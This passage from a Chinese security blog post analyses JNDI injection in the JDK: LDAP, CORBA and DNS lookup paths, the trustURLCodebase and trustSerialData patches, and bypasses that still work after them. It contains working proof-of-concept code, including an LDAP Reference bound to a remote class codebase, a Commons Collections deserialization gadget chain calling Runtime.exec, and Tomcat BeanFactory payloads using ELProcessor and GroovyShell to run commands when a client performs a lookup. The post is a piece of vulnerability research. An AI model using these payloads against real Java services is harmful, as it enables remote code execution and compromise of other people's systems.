            return URLClassLoader.newInstance(getUrlArray(url), parent);
        } else {
            return parent;
        }
}

这个类有同名类，不在一个包底下，容易看错。这是jdk8u141的代码，注意到这里实际上也限制了系统属性，但不是之前RMI的那个trustURLCodebase属性，而是需要com.sun.jndi.ldap.object.trustURLCodebase为true。这个类里默认是false，也就是这个点默认是不能远程类加载的。
回来看下一步Obj#deserializeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
 * Deserializes a byte array into an object.
 */
private static Object deserializeObject(byte[] obj, ClassLoader cl)
    throws NamingException {

    try {
        // Create ObjectInputStream for deserialization
        ByteArrayInputStream bytes = new ByteArrayInputStream(obj);
        try (ObjectInputStream deserial = cl == null ?
                new ObjectInputStream(bytes) :
                new LoaderInputStream(bytes, cl)) {
            return deserial.readObject();
        } catch (ClassNotFoundException e) {
            NamingException ne = new NamingException();
            ne.setRootCause(e);
            throw ne;
        }
    } catch (IOException e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

如果设置了codebase并且trustURLCodebase为true，就会用codebase来进行反序列化，否则就是原生反序列化。具体实现是重写了resolveClass，不细说了。
那么现在知道RMI+JNDI修复后，默认情况下LDAP+JNDI是不能直接通过反序列化实现远程类加载的。再看其他两个case
Obj#decodeRmiObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
 * A RMI object is stored in the directory as
 * javaClassName
 *   value: Object.getClass();
 * javaRemoteLocation
 *   value: URL of RMI object (accessed through the RMI Registry)
 * javaCodebase:
 *   value: URL of codebase of where to find classes for object
 *
 * Return the RMI Location URL itself. This will be turned into
 * an RMI object when getObjectInstance() is called on it.
 * %%% Ignore codebase for now. Depend on RMI registry to send code.-RL
 * @deprecated For backward compatibility only
 */
private static Object decodeRmiObject(String className,
    String rmiName, String[] codebases) throws NamingException {
        return new Reference(className, new StringRefAddr("URL", rmiName));
}

这个点存储的是RMI的Reference，会在getObjectInstance的时候创建，和前面Reference+JNDI类似的工厂模式。
那还要找后面调了getObjectInstance的地方，先放着，看第三个：
Obj#decodeReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
 * Restore a Reference object from several LDAP attributes
 */
private static Reference decodeReference(Attributes attrs,
    String[] codebases) throws NamingException, IOException {

    Attribute attr;
    String className;
    String factory = null;

    if ((attr = attrs.get(JAVA_ATTRIBUTES[CLASSNAME])) != null) {
        className = (String)attr.get();
    } else {
        throw new InvalidAttributesException(JAVA_ATTRIBUTES[CLASSNAME] +
                    " attribute is required");
    }

    if ((attr = attrs.get(JAVA_ATTRIBUTES[FACTORY])) != null) {
        factory = (String)attr.get();
    }

    Reference ref = new Reference(className, factory,
        (codebases != null? codebases[0] : null));

    /*
     * string encoding of a RefAddr is either:
     *
     *      #posn#<type>#<address>
     * or
     *      #posn#<type>##<base64-encoded address>
     */
    if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {

        String val, posnStr, type;
        char separator;
        int start, sep, posn;
        BASE64Decoder decoder = null;

        ClassLoader cl = helper.getURLClassLoader(codebases);

        ......

                if (decoder == null)
                    decoder = new BASE64Decoder();

                RefAddr ra = (RefAddr)
                    deserializeObject(
                        decoder.decodeBuffer(val.substring(start)),
                        cl);

                refAddrList.setElementAt(ra, posn);
            } else {
                // Single separator indicates a StringRefAddr
                refAddrList.setElementAt(new StringRefAddr(type,
                    val.substring(start)), posn);
            }
        }

        // Copy to real reference
        for (int i = 0; i < refAddrList.size(); i++) {
            ref.add(refAddrList.elementAt(i));
        }
    }

    return (ref);
}

太长了省略了一些，大意就是用查询到的信息创建一个Reference，如果能进if，过程里也调用了deserializeObject，但一样是受限的。
那么实际上后两种情况都返回的是Reference，看看接下来是怎么从这个Reference创建对象的，其实这部分和JNDI+RMI很类似。
不管获取到的obj是什么，都会调用到DirectoryManager#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment, Attributes attrs)
    throws Exception {

        ObjectFactory factory;

        ObjectFactoryBuilder builder = getObjectFactoryBuilder();
        if (builder != null) {
            // builder must return non-null factory
            factory = builder.createObjectFactory(refInfo, environment);
            if (factory instanceof DirObjectFactory) {
                return ((DirObjectFactory)factory).getObjectInstance(
                    refInfo, name, nameCtx, environment, attrs);
            } else {
                return factory.getObjectInstance(refInfo, name, nameCtx,
                    environment);
            }
        }

        // use reference if possible
        Reference ref = null;
        if (refInfo instanceof Reference) {
            ref = (Reference) refInfo;
        } else if (refInfo instanceof Referenceable) {
            ref = ((Referenceable)(refInfo)).getReference();
        }

        Object answer;

        if (ref != null) {
            String f = ref.getFactoryClassName();
            if (f != null) {
                // if reference identifies a factory, use exclusively

                factory = getObjectFactoryFromReference(ref, f);
                if (factory instanceof DirObjectFactory) {
                    return ((DirObjectFactory)factory).getObjectInstance(
                        ref, name, nameCtx, environment, attrs);
                } else if (factory != null) {
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;

            } else {
                // if reference has no factory, check for addresses
                // containing URLs
                // ignore name & attrs params; not used in URL factory

                answer = processURLAddrs(ref, name, nameCtx, environment);
                if (answer != null) {
                    return answer;
                }
            }
        }

        // try using any specified factories
        answer = createObjectFromFactories(refInfo, name, nameCtx,
                                           environment, attrs);
        return (answer != null) ? answer : refInfo;
}

实际上这个函数和NamingManager#getObjectInstance基本是一样的，如果是传一个Reference就会调getObjectFactoryFromReference进行远程类加载，并且这个函数里面没看见有做限制的地方。
那么只要LDAP服务端返回构造好的Reference就能绕过RMI+JNDI的限制继续攻击客户端了，简单写个poc：
绑定恶意Reference：

1
2
3
4
5
6
7
8
9
10
11
12
public class JNDILDAPServer {
    public static void main(String[] args) throws Exception{
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL,
                "ldap://localhost:10389");
        InitialContext initialContext = new InitialContext(env);
        Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");
        initialContext.rebind("cn=test,ou=users,dc=example,dc=com", refObj);
    }
}

客户端不变，lookup的时候导致RCE。
其实Obj#decodeObject里第二个if和第三个是差不多的，都是返回一个Reference。但第二个if用到的属性值是废弃的，LDAP服务端好像不支持，只能自己构造恶意服务端，也没太大意义，就不复现了。
分析完感觉上Java开发者是想修复所有JNDI调用的远程类加载问题的，但可能是因为有两个VersionHelper12，修了一个忘了另一个，导致getObjectFactoryFromReference里面没有修复。

JNDI+CORBA

第三个JNDI支持的服务是CORBA，关于CORBA的细节放在了之前单独的文章里，这里主要讲CORBA和JNDI结合使用的场景。常用的基于RMI+IIOP的实现和RMI实现很像。
远程接口：

1
2
3
public interface IRemoteObj extends java.rmi.Remote {
    public void sayHello(String msg) throws java.rmi.RemoteException;
}

远程类：

1
2
3
4
5
6
7
8
9
10
public class RemoteObjImpl  extends PortableRemoteObject implements IRemoteObj {

    protected RemoteObjImpl() throws RemoteException {
    }

    @Override
    public void sayHello(String msg) throws RemoteException {
        System.out.println(msg);
    }
}

开启ORBD

1
orbd -ORBInitialPort 1050 -ORBInitialHost localhost

服务端：

1
2
3
4
5
6
7
8
9
10
public class JNDICORBAServer
{
    public static void main( String[] args ) throws Exception
    {
        IRemoteObj remoteObj = new RemoteObjImpl();
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("iiop://127.0.0.1:1050/remoteObj", remoteObj);
    }
}

客户端：

1
2
3
4
5
6
7
8
9
public class JNDICORBAClient
{
    public static void main( String[] args ) throws Exception
    {
        InitialContext initialContext = new InitialContext();
        IRemoteObj hello = (IRemoteObj) initialContext.lookup("iiop://127.0.0.1:1050/remoteObj");
        hello.sayHello("Hello");
    }
}

服务端需要先手动创建stub，切换到class的目录执行：

1
rmic -classpath . -iiop org.example.RemoteObjImpl

执行后成功在服务端执行。
这个过程和RMI类似会有反序列化以及一些动态类加载的风险。但和RMI一样也是很受限的，调试一下
直接看CNCtx#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public java.lang.Object lookup(Name name)
    throws NamingException {
        if (_nc == null)
            throw new ConfigurationException(
                "Context does not have a corresponding NamingContext");
        if (name.size() == 0 )
            return this; // %%% should clone() so that env can be changed
        NameComponent[] path = CNNameParser.nameToCosName(name);
        java.lang.Object answer = null;

        try {
            answer = callResolve(path);
            try {
                // Check whether object factory codebase is trusted
                if (CorbaUtils.isObjectFactoryTrusted(answer)) {
                    answer = NamingManager.getObjectInstance(
                        answer, name, this, _env);
                }
            } catch (NamingException e) {
                throw e;
            } catch (Exception e) {
                NamingException ne = new NamingException(
                    "problem generating object using object factory");
                ne.setRootCause(e);
                throw ne;
            }
        } catch (CannotProceedException cpe) {
            javax.naming.Context cctx = getContinuationContext(cpe);
            return cctx.lookup(cpe.getRemainingName());
        }
        return answer;
}

第一个关键点是_NamingContextStub#callResolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public org.omg.CORBA.Object resolve (org.omg.CosNaming.NameComponent[] n) throws org.omg.CosNaming.NamingContextPackage.NotFound, org.omg.CosNaming.NamingContextPackage.CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName
{
          org.omg.CORBA.portable.InputStream $in = null;
          try {
              org.omg.CORBA.portable.OutputStream $out = _request ("resolve", true);
              org.omg.CosNaming.NameHelper.write ($out, n);
              $in = _invoke ($out);
              org.omg.CORBA.Object $result = org.omg.CORBA.ObjectHelper.read ($in);
              return $result;
          } catch (org.omg.CORBA.portable.ApplicationException $ex) {
              $in = $ex.getInputStream ();
              String _id = $ex.getId ();
              if (_id.equals ("IDL:omg.org/CosNaming/NamingContext/NotFound:1.0"))
                  throw org.omg.CosNaming.NamingContextPackage.NotFoundHelper.read ($in);
              else if (_id.equals ("IDL:omg.org/CosNaming/NamingContext/CannotProceed:1.0"))
                  throw org.omg.CosNaming.NamingContextPackage.CannotProceedHelper.read ($in);
              else if (_id.equals ("IDL:omg.org/CosNaming/NamingContext/InvalidName:1.0"))
                  throw org.omg.CosNaming.NamingContextPackage.InvalidNameHelper.read ($in);
              else
                  throw new org.omg.CORBA.MARSHAL (_id);
          } catch (org.omg.CORBA.portable.RemarshalException $rm) {
              return resolve (n        );
          } finally {
              _releaseReply ($in);
          }
} // resolve

之前分析CORBA的时候分析过，这里的ObjectHelper.read最后是调用RMIClassLoader.loadClass进行类加载的，和RMI一样，基本是没有办法进行远程类加载的。
回到lookup，获取到answer后，看到了熟悉的NamingManager#getObjectInstance。但这里有个if判断，看一下：
CorbaUtils#isObjectFactoryTrusted

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static boolean isObjectFactoryTrusted(Object obj)
    throws NamingException {

    // Extract Reference, if possible
    Reference ref = null;
    if (obj instanceof Reference) {
        ref = (Reference) obj;
    } else if (obj instanceof Referenceable) {
        ref = ((Referenceable)(obj)).getReference();
    }

    if (ref != null && ref.getFactoryClassLocation() != null &&
            !CNCtx.trustURLCodebase) {
        throw new ConfigurationException(
            "The object factory is untrusted. Set the system property" +
            " 'com.sun.jndi.cosnaming.object.trustURLCodebase' to 'true'.");
    }
    return true;
}

明显是和RMI+JNDI的利用一起修复的，看下CNCtx.trustURLCodebase

1
2
3
4
5
6
7
8
9
public static final boolean trustURLCodebase;
static {
    // System property to control whether classes may be loaded from an
    // arbitrary URL code base
    PrivilegedAction<String> act = () -> System.getProperty(
        "com.sun.jndi.cosnaming.object.trustURLCodebase", "false");
    String trust = AccessController.doPrivileged(act);
    trustURLCodebase = "true".equalsIgnoreCase(trust);
}

事实上CNCtx和RegistryContext是在同一个版本修复的(openjdk版本557d133dbc61)，添加了各自的trustURLCodebase属性。所以基于CORBA的JNDI利用没有太大意义，完全可以用RMI替代，除非是应对某些黑名单的场景。

JNDI+DNS

最后看一下DNS，因为这是官网写的Jdk最后一个JNDI支持的服务，直接跟到DnsContext#c_lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object c_lookup(Name name, Continuation cont)
        throws NamingException {

    cont.setSuccess();
    if (name.isEmpty()) {
        DnsContext ctx = new DnsContext(this);
        ctx.resolver = new Resolver(servers, timeout, retries);
                                            // clone for parallelism
        return ctx;
    }
    try {
        DnsName fqdn = fullyQualify(name);
        ResourceRecords rrs =
            getResolver().query(fqdn, lookupCT.rrclass, lookupCT.rrtype,
                                recursion, authoritative);
        Attributes attrs = rrsToAttrs(rrs, null);
        DnsContext ctx = new DnsContext(this, fqdn);
        return DirectoryManager.getObjectInstance(ctx, name, this,
                                                  environment, attrs);
    } catch (NamingException e) {
        cont.setError(this, name);
        throw cont.fillInException(e);
    } catch (Exception e) {
        cont.setError(this, name);
        NamingException ne = new NamingException(
                "Problem generating object using object factory");
        ne.setRootCause(e);
        throw cont.fillInException(ne);
    }
}

可以看到虽然调用了DirectoryManager.getObjectInstance，但第一个参数是不可控的，也就没办法把第一个参数改成Reference进行远程类加载了。

LDAP+JNDI的修复

前面说了RMI+JNDI的修复方式是片面的，导致使用LDAP依然可以进行远程类加载，而在Jdk8u191也对LDAP+JNDI导致的远程类加载进行了修复，看具体的代码改动：
com.sun.naming.internal.VersionHelper12在openjdk的28d4d67065ab版本改成了如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
final class VersionHelper12 extends VersionHelper {

    // Disallow external from creating one of these.
    VersionHelper12() {
    }

    public Class<?> loadClass(String className) throws ClassNotFoundException {
        return loadClass(className, getContextClassLoader());
    }

    /**
     * Determines whether classes may be loaded from an arbitrary URL code base.
     */
    private static final String TRUST_URL_CODEBASE_PROPERTY =
            "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
            AccessController.doPrivileged(
                new PrivilegedAction<String>() {
                    public String run() {
                        try {
                        return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                            "false");
                        } catch (SecurityException e) {
                        return "false";
                        }
                    }
                }
            );

    /**
     * Package private.
     *
     * This internal method is used with Thread Context Class Loader (TCCL),
     * please don't expose this method as public.
     */
    Class<?> loadClass(String className, ClassLoader cl)
        throws ClassNotFoundException {
        Class<?> cls = Class.forName(className, true, cl);
        return cls;
    }

    /**
     * @param className A non-null fully qualified class name.
     * @param codebase A non-null, space-separated list of URL strings.
     */
    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {
        if ("true".equalsIgnoreCase(trustURLCodebase)) {
            ClassLoader parent = getContextClassLoader();
            ClassLoader cl =
                    URLClassLoader.newInstance(getUrlArray(codebase), parent);

            return loadClass(className, cl);
        } else {
            return null;
        }
    }

在之前分析的动态加载工厂类的地方修改了com.sun.jndi.ldap.object.trustURLCodebase为false，这样JNDI的远程类加载真正的漏洞点终于修复了。之前的修复都往上了一层，可能因为这是所有JNDI服务通用的工具类，没办法用通用的方法修复。
大概整理下几处修复对应的版本，在这能看见各版本和时间的对应https://www.java.com/releases/
RMI动态类加载的修复在2013.2.28对应6u45、7u21(openjdk版本96890625ebdf)，当时Jdk8还没发行
RMI/CORBA+JNDI的修复在2016.10.21，对应Jdk6u141、7u131、8u121(openjdk版本557d133dbc61)
LDAP+JNDI的修复在2018.7.10，对应Jdk8u191、7u201、6u211(openjdk版本28d4d67065ab)
很多帖子说第RMI+JNDI修复的版本是8u113，但根本没有113这个版本。可能是因为8u121的前一个版本是8u112，但Jdk的版本号本来也不是连续的，不知道谁第一个写的，抄来抄去。
那么在这些修复后JNDI注入就没用了吗？当然不是，还是有操作空间的。

JNDI+反序列化

在前面分析的时候，注意到实际上某些过程里是有原生反序列化点的，那么就算不能直接远程类加载RCE，有反序列化点来打本地gadget也是有机会的。整理一下有以下几处触发了反序列化：
1、RMI调用流程里的RegistryImpl_Stub#lookup
2、RMI调用流程里的ReferenceWrapper_Stub#getReference
3、LDAP调用流程里的Obj#deserializeObject
RMI的就不说了，之前整理过，看下LDAP触发原生反序列化的写法。其实很简单，就是绑定一个恶意对象：
服务端：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class JNDILDAPServer {
    public static void main(String[] args) throws Exception{

        InitialContext initialContext = new InitialContext();
        initialContext.rebind("ldap://localhost:10389/cn=test,ou=users,dc=example,dc=com", genEvilMap());

    }

    public static HashMap genEvilMap() throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return map2;
    }
}

客户端和之前一样直接lookup就行了，这就是一个普通的反序列化攻击，需要被攻击的客户端上有利用链，比如这里手动加的cc。
在21年4月7号，openjdk版本f396f4a7ee5d对LDAP触发的反序列化进行了一次更新，修改了Obj#decodeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static Object decodeObject(Attributes attrs)
    throws NamingException {

    Attribute attr;

    // Get codebase, which is used in all 3 cases.
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
    try {
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
            if (!VersionHelper12.isSerialDataAllowed()) {
                throw new NamingException("Object deserialization is not allowed");
            }
            ClassLoader cl = helper.getURLClassLoader(codebases);
            return deserializeObject((byte[])attr.get(), cl);
        } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
            // For backward compatibility only
            return decodeRmiObject(
                (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                (String)attr.get(), codebases);
        }

        attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
        if (attr != null &&
            (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
            return decodeReference(attrs, codebases);
        }
        return null;
    } catch (IOException e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

实际上是在反序列化前加了一个if，判断VersionHelper12.isSerialDataAllowed()。跟进去发现是添加了一个新属性com.sun.jndi.ldap.object.trustSerialData
com.sun.jndi.ldap.VersionHelper12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static final String TRUST_SERIAL_DATA_PROPERTY =
    "com.sun.jndi.ldap.object.trustSerialData";

/**
 * Determines whether objects may be deserialized from the content of
 * 'javaSerializedData' attribute.
 */
private static final boolean trustSerialData;

// Determine whether classes may be loaded from an arbitrary URL code base.
private static final boolean trustURLCodebase;

static {
    String trust = getPrivilegedProperty(TRUST_URL_CODEBASE_PROPERTY, "false");
    trustURLCodebase = "true".equalsIgnoreCase(trust);
    String trustSDString = getPrivilegedProperty(TRUST_SERIAL_DATA_PROPERTY, "true");
    trustSerialData = "true".equalsIgnoreCase(trustSDString);
}

public static boolean isSerialDataAllowed() {
    return trustSerialData;
}

但看到这个属性默认是开启的，也就是只是提供了一个开关，依然是可以攻击的。这次更新还把原来的Class.forName改成了不触发初始化的方式，但应该没有具体的利用链用到，可能只是未雨绸缪。
前面分析Obj#decodeObject时候看到过底下的case里的decodeReference实际上也触发了反序列化，这个更新实际上又给漏了。不过不知道是不是有人提醒，21年9月8号，openjdk版本8c553f12bece又更新了一下Obj#decodeReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private static Reference decodeReference(Attributes attrs,
String[] codebases) throws NamingException, IOException {
        ......
         else if (val.charAt(start) == separator) {
            // Check if deserialization of binary RefAddr is allowed from
            // 'javaReferenceAddress' LDAP attribute.
            if (!VersionHelper12.isSerialDataAllowed()) {
                throw new NamingException("Object deserialization is not allowed");
            }

            // Double separators indicate a non-StringRefAddr
            // Content is a Base64-encoded serialized RefAddr

            ++start;  // skip over consecutive separator
            // %%% RL: exception if empty after double separator

            if (decoder == null)
                decoder = new BASE64Decoder();

            RefAddr ra = (RefAddr)
                deserializeObject(
                    decoder.decodeBuffer(val.substring(start)),
                    cl);

            refAddrList.setElementAt(ra, posn);
            ......

在反序列化前检查了trustSerialData属性，又修了一处潜在漏洞，教教教还教。
不过直到当前最新版Jdk8u311，依然是可以用JNDI触发反序列化的，LDAP和RMI都可以。

JNDI+本地工厂类

除了触发反序列化进行攻击，还有一种攻击思路，就是依然走Reference加载工厂类那一条路，只不过不加载远程类，而是加载本地工厂类。也是和找gadget有点像，这个工厂类需要满足一些条件：
1、需要实现javax.naming.spi.ObjectFactory
2、getObjectInstance中可以触发危险方法
Jdk里面那几个类都不满足了，所以只能到其他通用的包里去找，在tomcat中有这么一个类满足条件
org.apache.naming.factory.BeanFactory#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    if (obj instanceof ResourceRef) {

        try {

            Reference ref = (Reference) obj;
            String beanClassName = ref.getClassName();
            Class<?> beanClass = null;
            ClassLoader tcl =
                Thread.currentThread().getContextClassLoader();
            if (tcl != null) {
                try {
                    beanClass = tcl.loadClass(beanClassName);
                } catch(ClassNotFoundException e) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch(ClassNotFoundException e) {
                    e.printStackTrace();
                }
            }
            if (beanClass == null) {
                throw new NamingException
                    ("Class not found: " + beanClassName);
            }

            BeanInfo bi = Introspector.getBeanInfo(beanClass);
            PropertyDescriptor[] pda = bi.getPropertyDescriptors();

            Object bean = beanClass.getConstructor().newInstance();

            /* Look for properties with explicitly configured setter */
            RefAddr ra = ref.get("forceString");
            Map<String, Method> forced = new HashMap<>();
            String value;

            if (ra != null) {
                value = (String)ra.getContent();
                Class<?> paramTypes[] = new Class[1];
                paramTypes[0] = String.class;
                String setterName;
                int index;

                /* Items are given as comma separated list */
                for (String param: value.split(",")) {
                    param = param.trim();
                    /* A single item can either be of the form name=method
                     * or just a property name (and we will use a standard
                     * setter) */
                    index = param.indexOf('=');
                    if (index >= 0) {
                        setterName = param.substring(index + 1).trim();
                        param = param.substring(0, index).trim();
                    } else {
                        setterName = "set" +
                                     param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                     param.substring(1);
                    }
                    try {
                        forced.put(param,
                                   beanClass.getMethod(setterName, paramTypes));
                    } catch (NoSuchMethodException|SecurityException ex) {
                        throw new NamingException
                            ("Forced String setter " + setterName +
                             " not found for property " + param);
                    }
                }
            }

            Enumeration<RefAddr> e = ref.getAll();

            while (e.hasMoreElements()) {

                ra = e.nextElement();
                String propName = ra.getType();

                if (propName.equals(Constants.FACTORY) ||
                    propName.equals("scope") || propName.equals("auth") ||
                    propName.equals("forceString") ||
                    propName.equals("singleton")) {
                    continue;
                }

                value = (String)ra.getContent();

                Object[] valueArray = new Object[1];

                /* Shortcut for properties with explicitly configured setter */
                Method method = forced.get(propName);
                if (method != null) {
                    valueArray[0] = value;
                    try {
                        method.invoke(bean, valueArray);
                    } catch (IllegalAccessException|
                             IllegalArgumentException|
                             InvocationTargetException ex) {
                        throw new NamingException
                            ("Forced String setter " + method.getName() +
                             " threw exception for property " + propName);
                    }
                    continue;
                }

又有loadClass又有newInstance又有invoke，要素齐全。代码太长了，删了一部分，分析下关键逻辑。核心自然是method.invoke(bean, valueArray)这里，在bean上调用了method方法，参数是valueArray。跟踪逻辑后发现这三个变量都是可控的，只是bean需要能调用getConstructor.newInstance()，method需要是public的。
那么需要一个有无参构造方法的类，里面的某个public方法能触发任意代码执行，其实满足这个条件最先想到的是TemplatesImpl，但这个类需要修改私有属性值，只靠传参是不行的。Jdk里应该是没有满足这个条件的类了，一般用的是tmocat种的ELProcessor#eval

1
2
3
public Object eval(String expression) {
    return getValue(expression, Object.class);
}

这里有个细节，实际上没有构造方法的类可以用无参的newInstance创建，而只有有参数构造方法的不行，ELProcessor是没有构造函数的，所以满足条件。
Payload长这样：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        String cmd = "calc";
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", String.format(
                "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                        "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
                        ")", cmd
        )));
        initialContext.rebind("rmi://localhost:1088/remoteObj", ref);
    }
}

把这个对象绑到JNDI上就行了，客户端lookup的时候触发代码执行。
还有种利用groovy的，可能相对不那么常用

1
2
3
4
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", cmd);
ref.add(new StringRefAddr("x",script));

参考链接

https://docs.oracle.com/javase/tutorial/jndi/index.html
https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/codebase.html
https://docs.oracle.com/javase/jndi/tutorial/objects/index.html
https://docs.oracle.com/javase/8/docs/technotes/guides/jndi/index.html
https://www.cs.binghamton.edu/~steflik/cs328/jndi/
https://www.infoworld.com/article/2076073/ldap-and-jndi--together-forever.html
https://docs.oracle.com/javase/8/docs/technotes/guides/idl/jidlExample.html
https://github.com/welk1n/JNDI-Injection-Bypass

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

很惭愧<br><br>只做了一点微小的工作<br>谢谢大家